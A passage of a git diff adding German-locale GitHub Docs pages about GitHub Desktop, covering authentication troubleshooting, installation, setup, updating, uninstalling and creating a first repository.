+{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+
+## Further reading
+- "[Cloning and forking repositories from GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)"
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md
new file mode 100644
index 0000000000..220f7b85da
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md
@@ -0,0 +1,190 @@
+---
+title: Authenticating to GitHub
+shortTitle: Authentication
+intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.prodname_dotcom %}.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser
+  - /desktop/getting-started-with-github-desktop/authenticating-to-github
+  - /desktop/installing-and-configuring-github-desktop/authenticating-to-github
+versions:
+  fpt: '*'
+---
+## About authentication
+
+To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.prodname_dotcom %}.
+
+Before you authenticate, {% data reusables.desktop.get-an-account %}
+
+{% mac %}
+
+## Authenticating an account on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+{% data reusables.desktop.mac-select-accounts %}
+3. To the right of "{% data variables.product.prodname_dotcom_the_website %}," click **Sign In**.
+  ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png)
+{% data reusables.desktop.sign-in-browser %}
+
+
+{% data reusables.desktop.authenticate-in-browser %}
+{% data reusables.desktop.2fa-in-browser %}
+7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}.
+
+## Authenticating an account on {% data variables.product.prodname_ghe_server %}
+
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+{% data reusables.desktop.mac-select-accounts %}
+{% data reusables.desktop.choose-product-authenticate %}
+4. To add an account on {% data variables.location.product_location_enterprise %}, type the URL for your instance under "Enterprise address," then click **Continue**.
+  ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/mac-sign-in-button-enterprise.png)
+{% data reusables.desktop.sign-in-browser %}
+1. To authenticate to {% data variables.location.product_location_enterprise %} account, type your account credentials and click **Sign in**.
+  ![The Sign In button for {% data variables.product.prodname_ghe_server %} in browser](/assets/images/help/desktop/enterprise-sign-in-button-browser.png)
+
+  Alternatively, if you were already signed in to {% data variables.location.product_location_enterprise %} account, follow the prompts to return to {% data variables.product.prodname_desktop %} to finish authenticating. 
+
+{% endmac %}
+
+{% windows %}
+
+## Authenticating an account on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.desktop.windows-choose-options %}
+{% data reusables.desktop.windows-select-accounts %}
+3. To the right of "GitHub.com," click **Sign in**.
+  ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png)
+{% data reusables.desktop.sign-in-browser %}
+
+  {% data reusables.user-settings.password-authentication-deprecation-desktop %}
+
+{% data reusables.desktop.authenticate-in-browser %}
+{% data reusables.desktop.2fa-in-browser %}
+7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}.
+
+## Authenticating an account on {% data variables.product.prodname_enterprise %}
+
+
+{% data reusables.desktop.windows-choose-options %}
+{% data reusables.desktop.windows-select-accounts %}
+{% data reusables.desktop.choose-product-authenticate %}
+4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise address," then click **Continue**.
+  ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/windows-sign-in-button-enterprise.png)
+{% data reusables.desktop.retrieve-2fa %}
+
+{% endwindows %}
+
+## Troubleshooting authentication issues
+
+If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot.
+
+If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}.
+
+For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps.
+
+{% mac %}
+
+1. Use the **Help** drop-down menu and click **Show Logs in Finder**.
+  ![The Show Logs in Finder button](/assets/images/help/desktop/mac-show-logs.png)
+2. Select the log file from the date when you encountered the authentication error.
+
+{% endmac %}
+
+{% windows %}
+
+1. Use the **Help** drop-down menu and click **Show Logs in Explorer**.
+  ![The Show Logs in Explorer button](/assets/images/help/desktop/windows-show-logs.png)
+2. Select the log file from the date when you encountered the authentication error.
+
+{% endwindows %}
+
+Review the troubleshooting information below for the error message that you encounter.
+
+### Bad credentials
+
+```shell
+Error: Bad credentials
+```
+
+This error means that there is an issue with your stored account credentials.
+
+To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in.
+
+### Empty token
+
+```shell
+info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - USERNAME (empty token)
+```
+
+This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain.
+
+To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in.
+
+### Repository not found
+
+```shell
+fatal: repository 'https://github.com/<user>/<repo>.git' not found
+
+(The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.)
+```
+
+This error means that you do not have permission to access the repository that you are trying to clone.
+
+To troubleshoot, contact the person in your organization who administers permissions.
+
+### Could not read from remote repository
+
+```shell
+git@github.com: Permission denied (publickey).
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights and the repository exists.
+```
+
+This error means that you do not have a valid SSH key set up.
+
+To troubleshoot, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+### Failed to clone
+
+```shell
+fatal: clone of 'git@github.com:<user>/<repo>' into submodule path '<path>' failed
+Failed to clone 'src/github.com/<user>/<repo>'. Retry scheduled
+Cloning into '<path>'...
+git@github.com: Permission denied (publickey).
+fatal: Could not read from remote repository.
+Please make sure you have the correct access rights
+and the repository exists.
+```
+
+This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up.
+
+If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository.
+
+If you do not have a valid SSH key set up, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+{% windows %}
+
+### Unable to read AskPass response
+
+```shell
+error: unable to read askpass response from '/Users/<path>/GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh'
+fatal: could not read Username for 'https://github.com': terminal prompts disabled
+```
+
+This error can be caused by multiple events.
+
+If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps.
+
+1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations.
+  `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\`
+  `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\`
+2. Check to see if there is an `Autorun` value in either location.
+3. If there is an `Autorun` value, delete it.
+
+If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see "[Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)" in the Microsoft documentation.
+
+{% endwindows %}
+
+## Further reading
+- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md
new file mode 100644
index 0000000000..4fd13238d2
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/index.md
@@ -0,0 +1,23 @@
+---
+title: Installation und Authentifizierung auf GitHub Desktop
+intro: Installiere GitHub Desktop und stelle die Verbindung zu Deinen Konten auf GitHub oder GitHub Enterprise her.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/installing-and-authenticating-to-github-desktop
+versions:
+  fpt: '*'
+children:
+  - /setting-up-github-desktop
+  - /installing-github-desktop
+  - /authenticating-to-github
+  - /about-connections-to-github
+  - /updating-github-desktop
+  - /uninstalling-github-desktop
+shortTitle: Install & authenticate
+ms.openlocfilehash: d2d0628d3d3c861e4528845b538cbf44828ad96f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105267'
+---
+
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md
new file mode 100644
index 0000000000..4c51ba0dc2
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop.md
@@ -0,0 +1,64 @@
+---
+title: GitHub Desktop installieren
+shortTitle: Installation
+intro: Du kannst GitHub Desktop auf den unterstützten Betriebssystemen von Windows und macOS installieren.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/installing-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/installing-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: 4947bff541682887817198c714e7e78bff2cfc9f
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882779'
+---
+## Informationen zur {% data variables.product.prodname_desktop %}-Installation
+
+Du kannst {% data variables.product.prodname_desktop %} auf unterstützten Betriebssystemen installieren, derzeit {% data variables.desktop.mac-osx-versions %} und {% data variables.desktop.windows-versions %}. Wenn du über ein Konto auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} verfügst, kannst du dein Konto mit {% data variables.product.prodname_desktop %} verbinden. Weitere Informationen zum Erstellen eines Kontos findest du unter [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/articles/signing-up-for-a-new-github-account/), oder wende dich an den {% data variables.product.prodname_enterprise %}-Websiteadministrator.
+
+{% windows %}
+
+Als Netzwerkadministrator kannst du die Windows Installer-Paketdatei (`.msi`) mit Gruppenrichtlinie oder ein anderes Remote-Installationssystem verwenden, um {% data variables.product.prodname_desktop %} auf Computern bereitzustellen, die Windows auf einem mit Active Directory verwalteten Netzwerk ausführen.
+
+Das Windows Installer-Paket extrahiert den eigenständigen Installer (`.exe`) und konfiguriert Windows so, dass {% data variables.product.prodname_desktop %} installiert wird, wenn sich ein Benutzer das nächste Mal bei seiner Arbeitsstation anmeldet. Benutzer müssen berechtigt sein, {% data variables.product.prodname_desktop %} in ihrem Benutzerverzeichnis zu installieren.
+
+Wenn ein Benutzer das Windows Installer-Paket für {% data variables.product.prodname_desktop %} direkt ausführt, um die Installation durchzuführen, muss sich der Benutzer bei seiner Arbeitsstation abmelden und sich dann wieder anmelden.
+
+{% endwindows %}
+
+## {% data variables.product.prodname_desktop %} herunterladen und installieren
+
+{% mac %}
+
+Du kannst {% data variables.product.prodname_desktop %} auf {% data variables.desktop.mac-osx-versions %} installieren.
+
+{% data reusables.desktop.download-desktop-page %}
+2. Klicke auf **Download für macOS**.
+  ![Schaltfläche „Download für macOS“](/assets/images/help/desktop/download-for-mac.png)
+3. Doppelklicke auf deinem Computer im Ordner `Downloads` auf die **{% data variables.product.prodname_desktop %}**-ZIP-Datei.
+  ![Die Datei „GitHubDesktop.zip“](/assets/images/help/desktop/mac-zipfile.png)
+4. Doppelklicke nach dem Entzippen der Datei auf **{% data variables.product.prodname_desktop %}**.
+5. {% data variables.product.prodname_desktop %} wird nach Abschluss der Installation gestartet.
+
+{% endmac %}
+
+{% windows %}
+
+Du kannst {% data variables.product.prodname_desktop %} auf {% data variables.desktop.windows-versions %} installieren.
+
+{% warning %}
+
+**Warnung**: Du musst über ein 64-Bit-Betriebssystem verfügen, um {% data variables.product.prodname_desktop %} ausführen zu können.
+
+{% endwarning %}
+
+{% data reusables.desktop.download-desktop-page %}
+2. Klicke auf **Download für Windows**.
+  ![Schaltfläche „Download für Windows“](/assets/images/help/desktop/download-for-windows.png)
+3. Doppelklicke auf deinem Computer im Ordner `Downloads` auf die **{% data variables.product.prodname_desktop %}**-Setupdatei.
+  ![Die GitHubDesktopSetup-Datei](/assets/images/help/desktop/windows-githubdesktopsetup.png)
+4. {% data variables.product.prodname_desktop %} wird nach Abschluss der Installation gestartet.
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md
new file mode 100644
index 0000000000..3b6616a8a5
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md
@@ -0,0 +1,49 @@
+---
+title: GitHub Desktop einrichten
+shortTitle: Setup
+intro: 'Du kannst {% data variables.product.prodname_desktop %} einrichten, um deinen Anforderungen zu entsprechen und zu Projekten beizutragen.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/setting-up-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/setting-up-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: 20d183b4f3809251d4672421ec48f220fb562c9f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105263'
+---
+## Teil 1: Installieren von {% data variables.product.prodname_desktop %}
+
+Du kannst {% data variables.product.prodname_desktop %} unter jedem unterstützten Betriebssystem installieren. Weitere Informationen findest du unter "[Unterstützte Betriebssysteme](/desktop/getting-started-with-github-desktop/supported-operating-systems)."
+
+Um {% data variables.product.prodname_desktop %} zu installieren, navigiere zu [https://desktop.github.com/](https://desktop.github.com/) und lade die entsprechende Version von {% data variables.product.prodname_desktop %} für dein Betriebssystem herunter. Folge den Bildschirmanweisungen, um die Installation abzuschließen. Weitere Informationen findest du unter "[Installieren von {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/installing-github-desktop)."
+
+## Teil 2: Konfigurieren deines Kontos
+
+Wenn du ein Konto auf {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} hast, kannst du {% data variables.product.prodname_desktop %} verwenden, um Daten zwischen deinen lokalen und entfernten Repositorys auszutauschen.
+
+### Erstellen eines Kontos
+Wenn du noch kein Konto bei {% data variables.product.prodname_dotcom %} hast, siehe "[Anmeldung für ein neues {% data variables.product.prodname_dotcom %}-Konto ](/articles/signing-up-for-a-new-github-account/)."
+
+Wenn du Teil einer Organisation bist, die {% data variables.product.prodname_enterprise %} verwendet, und noch kein Konto hast, wende Dich an deinen {% data variables.product.prodname_enterprise %} Website-Administrator.
+
+### Authentifizieren von {% data variables.product.prodname_dotcom %}
+Um Dich mit {% data variables.product.prodname_desktop %} mit {% data variables.product.prodname_dotcom %} zu verbinden, musst du dein Konto authentifizieren. Weitere Informationen findest du unter "[Authentifizieren von {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)."
+
+Nach der Authentifizierung deines Kontos kannst du mit {% data variables.product.prodname_desktop %} Projekte verwalten und zu ihnen beitragen.
+
+## Teil 3: Konfigurieren von Git
+Du musst Git installiert haben, bevor du {% data variables.product.prodname_desktop %} verwenden kannst. Wenn du Git noch nicht installiert hast, kannst du die neueste Version von Git von [https://git-scm.com/downloads](https://git-scm.com/downloads) herunterladen und installieren.
+
+Nachdem du Git installiert hast, musst du Git für {% data variables.product.prodname_desktop %} konfigurieren. Weitere Informationen findest du unter "[Konfigurieren von Git für {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop)."
+
+## Teil 4: Anpassen von {% data variables.product.prodname_desktop %}
+Du kannst die Standardwerte und Einstellungen anpassen, um {% data variables.product.prodname_desktop %} an deine Bedürfnisse anzupassen.
+
+### Auswählen eines Standardtext-Editors
+Du kannst einen Text-Editor über {% data variables.product.prodname_desktop %} öffnen, um Dateien und Repositorys zu bearbeiten. {% data variables.product.prodname_desktop %} unterstützt eine Vielzahl von Text-Editoren und integrierten Entwicklungsumgebungen (IDEs) für Windows und macOS. Du kannst einen Standard-Editor in den {% data variables.product.prodname_desktop %}-Einstellungen wählen. Weitere Informationen findest du unter [Konfigurieren eines Standard-Editors](/desktop/getting-started-with-github-desktop/configuring-a-default-editor).
+
+### Auswählen eines Designs
+{% data variables.product.prodname_desktop %} verfügt über mehrere Designs, um das Aussehen und Verhalten der App anzupassen. Du kannst ein Thema in den {% data variables.product.prodname_desktop %}-Einstellungen auswählen. Weitere Informationen findest du unter "[Festlegen eines Designs für {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)."
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md
new file mode 100644
index 0000000000..d805ffcc9c
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/uninstalling-github-desktop.md
@@ -0,0 +1,39 @@
+---
+title: GitHub Desktop deinstallieren
+intro: Du kannst GitHub Desktop jederzeit von deinem Computer deinstallieren.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/uninstalling-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/uninstalling-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Uninstall GitHub Desktop
+ms.openlocfilehash: 1aa09eea7e44dee2949b958d00871151eb7c3d48
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105260'
+---
+{% mac %}
+
+1. Navigiere in einem Finder-Fenster zum Ordner „Applications“ (Anwendungen).
+  ![Ordner „Applications“ (Anwendungen) im Finder-Fenster](/assets/images/help/desktop/applications-folder.png)
+2. Halte die **Steuerungstaste** gedrückt, und klicke auf **{% data variables.product.prodname_desktop %}**.
+3. Wähle **In den Papierkorb verschieben** aus.
+  ![Die Option „Move to Trash“ (In Papierkorb verschieben)](/assets/images/help/desktop/mac-move-to-trash.png)
+4. Wähle in der Menüleiste das **Finder**-Dropdownmenü aus, und klicke dann auf **Papierkorb leeren**.
+  ![Die Option „Empty Trash“ (Papierkorb leeren) in der Menüleiste](/assets/images/help/desktop/mac-empty-trash-menu.png)
+5. Lese die Warnung im Popup-Fenster, und klicke auf **Papierkorb leeren**.
+  ![Schaltfläche „Empty Trash“ (Papierkorb leeren)](/assets/images/help/desktop/mac-empty-trash-button.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Öffne die Systemsteuerung. Weitere Informationen findest du unter [Wo befindet sich die Systemsteuerung?](https://support.microsoft.com/en-us/help/13764/windows-where-is-control-panel) in der Windows-Hilfe.
+2. Klicke unter „Programme“ auf **Programm deinstallieren**.
+  ![Die Option „Uninstall a Program“ (Programm deinstallieren) in der Systemsteuerung](/assets/images/help/desktop/windows-uninstall-a-program.png)
+3. Klicke mit der rechten Maustaste auf den Eintrag **{% data variables.product.prodname_desktop %}** und dann auf **Deinstallieren**.
+  ![Die Option „Uninstall“ (Deinstallieren)](/assets/images/help/desktop/windows-click-uninstall.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md
new file mode 100644
index 0000000000..d303300182
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/updating-github-desktop.md
@@ -0,0 +1,34 @@
+---
+title: GitHub Desktop aktualisieren
+intro: GitHub Desktop lädt die Updates automatisch herunter und installiert sie beim Neustart. Du kannst auch manuell nach Updates suchen.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/updating-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/updating-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: 77b4b6d3bca7bc5d535c3591f23465d84824ad6a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105256'
+---
+{% mac %}
+
+1. Klicke im **GitHub Desktop**-Menü auf **Info zu GitHub Desktop**.
+![Menüoption „Info zu GitHub Desktop“](/assets/images/help/desktop/desktop-menu-about-desktop-mac.png)
+2. Klicke auf **Nach Updates suchen**.
+![Schaltfläche „Nach Updates suchen“](/assets/images/help/desktop/check-for-updates.png)
+3. Wenn ein Update verfügbar ist, beende {% data variables.product.prodname_desktop %}, und starte es neu, um das Update zu installieren.
+
+{% endmac %}
+
+{% windows %}
+
+1. Klicke im Menü **Hilfe** auf **Info zu GitHub Desktop**.
+![Menüoption „Info zu GitHub Desktop“](/assets/images/help/desktop/help-about-desktop-win.png)
+2. Klicke auf **Nach Updates suchen**.
+![Schaltfläche „Nach Updates suchen“](/assets/images/help/desktop/check-for-updates.png)
+3. Wenn ein Update verfügbar ist, beende {% data variables.product.prodname_desktop %}, und starte es neu, um das Update zu installieren.
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md
new file mode 100644
index 0000000000..722cc7966e
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md
@@ -0,0 +1,117 @@
+---
+title: Erstellen deines ersten Repositorys mit GitHub Desktop
+shortTitle: Creating your first repository
+intro: 'Du kannst {% data variables.product.prodname_desktop %} verwenden, um ein Git-Repository ohne die Befehlszeile zu verwenden und zu verwalten.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: bdfaa5770faef23d8176b24753e23d6a3d5159a1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105259'
+---
+## Einführung
+{% data variables.product.prodname_desktop %} erweitert und vereinfacht deinen {% data variables.product.prodname_dotcom_the_website %}-Workflow, wobei anstelle von Textbefehlen an der Befehlszeile eine grafische Benutzeroberfläche verwendet wird. Am Ende dieses Leitfadens hast du mithilfe von {% data variables.product.prodname_desktop %} ein Repository erstellt, Änderungen daran vorgenommen und die Änderungen auf {% data variables.product.product_name %} veröffentlicht.
+
+Nachdem du {% data variables.product.prodname_desktop %} installiert hast und dich bei {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %} angemeldet hast, kannst du ein Tutorialrepository erstellen und klonen. Im Tutorial werden die Grundlagen der Arbeit mit Git und {% data variables.product.prodname_dotcom %} erläutert. Du erfährst, wie du einen Text-Editor installierst, einen Branch erstellst, Commits und Pushes auf {% data variables.product.prodname_dotcom_the_website %} durchführst und einen Pull Request öffnest. Das Tutorial ist verfügbar, wenn du noch nicht über Repositorys auf {% data variables.product.prodname_desktop %} verfügst.
+
+Es wird empfohlen, das Tutorial abzuschließen. Wenn du {% data variables.product.prodname_desktop %} jedoch durch das Erstellen eines neuen Repositorys mithilfe von {% data variables.product.prodname_desktop %} erkunden möchtest, findest du in diesem Leitfaden Informationen zum Arbeiten an einem Git-Repository.
+
+## Teil 1: Installieren von {% data variables.product.prodname_desktop %} und Authentifizieren deines Kontos
+Du kannst {% data variables.product.prodname_desktop %} unter jedem unterstützten Betriebssystem installieren. Nachdem du die App installiert hast, musst du dich anmelden und dein Konto auf {% data variables.product.prodname_dotcom %} oder in {% data variables.product.prodname_enterprise %} authentifizieren, bevor du ein Tutorialrepository erstellen und klonen kannst.
+
+Weitere Informationen zum Installieren und Authentifizieren findest du unter [Einrichten von {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop).
+
+## Teil 2: Erstellen eines neuen Repositorys
+Wenn du über keine Repositorys verfügst, die mit {% data variables.product.prodname_desktop %} verknüpft sind, wird die Ansicht „Los geht‘s!“ angezeigt. Dort kannst du auswählen, ob du ein Tutorialrepository erstellen und klonen, ein vorhandenes Repository aus dem Internet klonen, ein neues Repository erstellen oder ein vorhandenes Repository von deiner Festplatte hinzufügen möchtest.
+  ![Bildschirm „Los geht‘s!](/assets/images/help/desktop/lets-get-started.png)
+
+### Erstellen und Klonen eines Tutorialrepositorys
+Es wird empfohlen, ein Tutorialrepository als erstes Projekt zu erstellen und zu klonen, um sich mit {% data variables.product.prodname_desktop %} vertraut zu machen.
+
+1. Klicke auf **Tutorialrepository erstellen und klonen**.
+  ![Schaltfläche zum Erstellen und Klonen eines Tutorialrepositorys](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png)
+2. Befolge die Anweisungen im Tutorial, um einen Text-Editor zu installieren, einen Branch zu erstellen, eine Datei zu bearbeiten, Commits durchzuführen, Dateien auf {% data variables.product.prodname_dotcom %} zu veröffentlichen und einen Pull Request zu öffnen.
+
+### Ein neues Repository erstellen
+Wenn du kein Tutorialrepository erstellen und klonen möchtest, kannst du ein neues Repository erstellen.
+
+1. Klicke auf **Neues Repository auf deiner Festplatte erstellen...**. ![Neues Repository erstellen](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png)
+2. Fülle die Felder aus, und wähle deine bevorzugten Optionen aus.
+  ![Optionen zum Erstellen eines Repositorys](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png)
+   - „Name“ definiert den Namen deines Repositorys sowohl lokal und als auch auf {% data variables.product.product_name %}.
+   - „Description“ (Beschreibung) ist ein optionales Feld, das du verwenden kannst, um weitere Informationen zum Zweck deines Repositorys anzugeben.
+   - „Local path“ (Lokaler Pfad) legt den Speicherort deines Repositorys auf deinem Computer fest. {% data variables.product.prodname_desktop %} erstellt standardmäßig einen _GitHub_-Ordner in deinem _Dokumente_-Ordner, um deine Repositorys zu speichern. Du kannst jedoch einen beliebigen anderen Speicherort auf deinem Computer auswählen. Dein neues Repository ist ein Ordner am ausgewählten Speicherort. Wenn du dein Repository beispielsweise `Tutorial` nennst, wird in dem für deinen lokalen Pfad ausgewählten Ordner ein Ordner namens _Tutorial_ erstellt. {% data variables.product.prodname_desktop %} speichert deinen ausgewählten Speicherort für das nächste Mal, wenn du ein neues Repository erstellst oder klonst.
+   - Mit **Dieses Repository mit einer README-Datei initialisieren** wird ein anfänglicher Commit mit einer _README.md_-Datei erstellt. Anhand von Infodateien kann der Zweck deines Projekts nachvollzogen werden. Daher sollten diese Option ausgewählt und nützliche Informationen in die Datei eingetragen werden. Wenn dein Repository auf {% data variables.product.product_name %} aufgerufen wird, wird zunächst die Infodatei angezeigt, mit der sich der*die Besucher*in mit deinem Projekt vertraut machen kann. Weitere Informationen findest du unter [Informationen zu README-Dateien](/articles/about-readmes).
+   - Mithilfe des Dropdownmenüs **Git ignorieren** kannst du eine benutzerdefinierte Datei hinzufügen, um bestimmte Dateien in deinem lokalen Repository zu ignorieren, die nicht in der Versionskontrolle gespeichert werden sollen. Wenn du eine bestimmte Sprache oder ein bestimmtes Framework verwendest, kannst du aus der verfügbaren Liste eine entsprechende Option auswählen. Für den Anfang kannst du diese Auswahl überspringen. Weitere Informationen findest du unter [Ignorieren von Dateien](/github/getting-started-with-github/ignoring-files).
+   - Über das Dropdownmenü **Lizenz** kannst du einer _LICENSE_-Datei in deinem Repository eine Open-Source-Lizenz hinzufügen. Du musst dir keine Sorgen machen, dass du sofort eine Lizenz hinzufügen kannst. Weitere Informationen zu verfügbaren Open-Source-Lizenzen und dazu, wie du diese zu deinem Repository hinzufügst, findest du unter [Lizenzieren eines Repositorys](/articles/licensing-a-repository).
+3. Klicke auf **Repository erstellen**.
+
+## Teil 3: Erkunden von {% data variables.product.prodname_desktop %}
+Im Dateimenü oben auf dem Bildschirm kannst du auf Einstellungen und Aktionen zugreifen, die du in {% data variables.product.prodname_desktop %} ausführen kannst. Die meisten Aktionen besitzen auch Tastenkürzel, die Ihnen bei der effizienteren Arbeit helfen. Eine vollständige Liste der Tastenkombinationen findest du unter [Tastenkombinationen](/desktop/getting-started-with-github-desktop/keyboard-shortcuts).
+
+### {% data variables.product.prodname_desktop %}-Menüleiste
